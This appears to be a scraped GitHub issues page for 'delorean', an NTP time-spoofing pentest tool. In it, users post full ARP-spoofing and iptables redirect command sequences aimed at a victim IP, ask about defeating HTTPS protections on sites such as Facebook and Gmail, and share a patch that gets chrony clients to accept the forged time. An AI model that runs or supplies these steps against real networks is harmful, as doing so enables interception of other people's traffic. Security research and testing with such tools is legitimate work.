jselvi / delorean Goto Github PK

Some time ago i watched your presentation on defcon and as you said windows systems are more secure for their limits on timing update as other operative systems... but what if i create a mitm attack via nat or proxy and "replicate" these https requests on a system especially made to be vulnerable to timing attacks and at the same time to store the http data?
Could this work to beat security measures on modern operative systems that couldn't be exploited via normal scenarios?

I use this tool to deceive the victim machine, the process is as follows:

1.sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 10000
sudo iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 123 -j REDIRECT --to-port 123

2.sudo arpspoof -i wlan0 -t 192.168.0.131 192.168.0.1

3. Open another terminal window during arpspoof attack, then
   sudo python delorean.py

The result is as follows:

1. Ubuntu 20.04 laptop can be successfully spoofed

2. In addition, I have a hardware machine that can obtain ntp time. I can obtain the time by entering pool.ntp.org; however, the delorean attack on the machine failed. I am very confused about this. Maybe the machine has some protection on ntp? I want to ask for help here.

As per title, the --force-date doesn't work properly.

Testing configuration

Delorean running on my Mac with:

➜  Delorean git:(master) $ sudo ./delorean.py -d "2022-04-01 15:30" -n
Password:
[20:57:20] Sent to 127.0.0.1:49233 - Going to the future! 2022-04-01 13:30
[20:57:22] Sent to 127.0.0.1:57031 - Going to the future! 2022-04-01 13:30
[20:57:50] Sent to 192.168.1.122:56136 - Going to the future! 2022-04-01 13:30

Client running chrony with the following configuration:

# Use public NTP servers from the pool.ntp.org project.
server 192.168.1.51

# Record the rate at which the system clock gains/losses time.
driftfile /var/lib/chrony/drift

# Allow the system clock to be stepped in the first three updates
# if its offset is larger than 1 second.
makestep 1.0 3

# Enable kernel synchronization of the real-time clock (RTC).
rtcsync

Testing application get_ntp.py:

import ntplib
from time import ctime
c = ntplib.NTPClient()
response = c.request('192.168.1.51')
print(ctime(response.tx_time))

Default behaviour

Chrony refuses to synch with Delorean seemingly because the time returned by Delorean doesn't changes when used with the --force-date option.

jetson@jetson-desktop:~$ chronyc sources
210 Number of sources = 1
MS Name/IP address         Stratum Poll Reach LastRx Last sample
===============================================================================
^? 192.168.1.51                  2   6     1    21   -9632m[ -9632m] +/-   59ms

jetson@jetson-desktop:~$ date
ven 25 mar 2022, 22.01.08, CET

jetson@jetson-desktop:~$ python3 get_ntp.py
Fri Apr  1 15:30:00 2022
jetson@jetson-desktop:~$ python3 get_ntp.py
Fri Apr  1 15:30:00 2022
jetson@jetson-desktop:~$ python3 get_ntp.py
Fri Apr  1 15:30:00 2022
jetson@jetson-desktop:~$ python3 get_ntp.py
Fri Apr  1 15:30:00 2022

Patched behaviour

Using the following hotfix

diff --git a/delorean.py b/delorean.py
index a4d9873..0e513aa 100755
--- a/delorean.py
+++ b/delorean.py
@@ -43,6 +43,7 @@ class NTProxy(threading.Thread):
     forced_step = float(0)
     forced_date = float(0)
     forced_random = False
+    initial_timestamp = time.time()
     # Temporal control
     seen = {}
     # Constructor
@@ -152,7 +153,12 @@ class NTProxy(threading.Thread):
             try:
                 data, source = self.socket.recvfrom(1024)
                 info = self.extract(data)
+
                 timestamp = self.newtime(info["tx_timestamp"] - self.ntp_delta)
+                timestamp += time.time() - self.initial_timestamp
+
                 fingerprint, data = self.response(info, timestamp)
                 if self.skim_step != 0:
                     for t in range(0, 10):

jetson@jetson-desktop:~$ python3 get_ntp.py
Fri Apr  1 15:30:02 2022
jetson@jetson-desktop:~$ python3 get_ntp.py
Fri Apr  1 15:30:04 2022
jetson@jetson-desktop:~$ python3 get_ntp.py
Fri Apr  1 15:30:05 2022
jetson@jetson-desktop:~$ python3 get_ntp.py
Fri Apr  1 15:30:06 2022

it works as expected

jetson@jetson-desktop:~$ chronyc sources
210 Number of sources = 1
MS Name/IP address         Stratum Poll Reach LastRx Last sample
===============================================================================
^* 192.168.1.51                  2   6     7    14    -24ms[ -2692h] +/-   56ms

jetson@jetson-desktop:~$ date
ven  1 apr 2022, 15.35.03, CEST

Conclusions

The problem seems to be related to the fact that with the default behaviour of the --force-date the time returned by Delorean is always the same.

Maybe add a little Readme to what this tool does, as stated in here?: http://www.pentester.es/2015/10/delorean.html

I find this tool interesting to experiment with the issues caused by leap seconds. Can this be used to set a leap second flag that systems will respect?

Steps:
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 10000
sudo iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 123 -j REDIRECT --to-port 123
sudo arpspoof -i wlan0 -t 192.168.0.131 192.168.0.1
sudo ./delorean.py

Result good, victim go to 2025, but don't have connection and i don't get a evasion of https.

Gracias

hello i have Kali linux 2.0 ...i have downloaded Delorean and launch MITMf ,and was working normal but only on facebook.com gmail.com....on youtube was giving the message like "fix date and time or something like this ...." and one more is there possible to Delorean inject on specific ip adress....and actualy victim must go and update time and only then it will work yes? or i am doing something wrong?

is there possible to change date and time automaticly ,not to wait until victim will update date and time....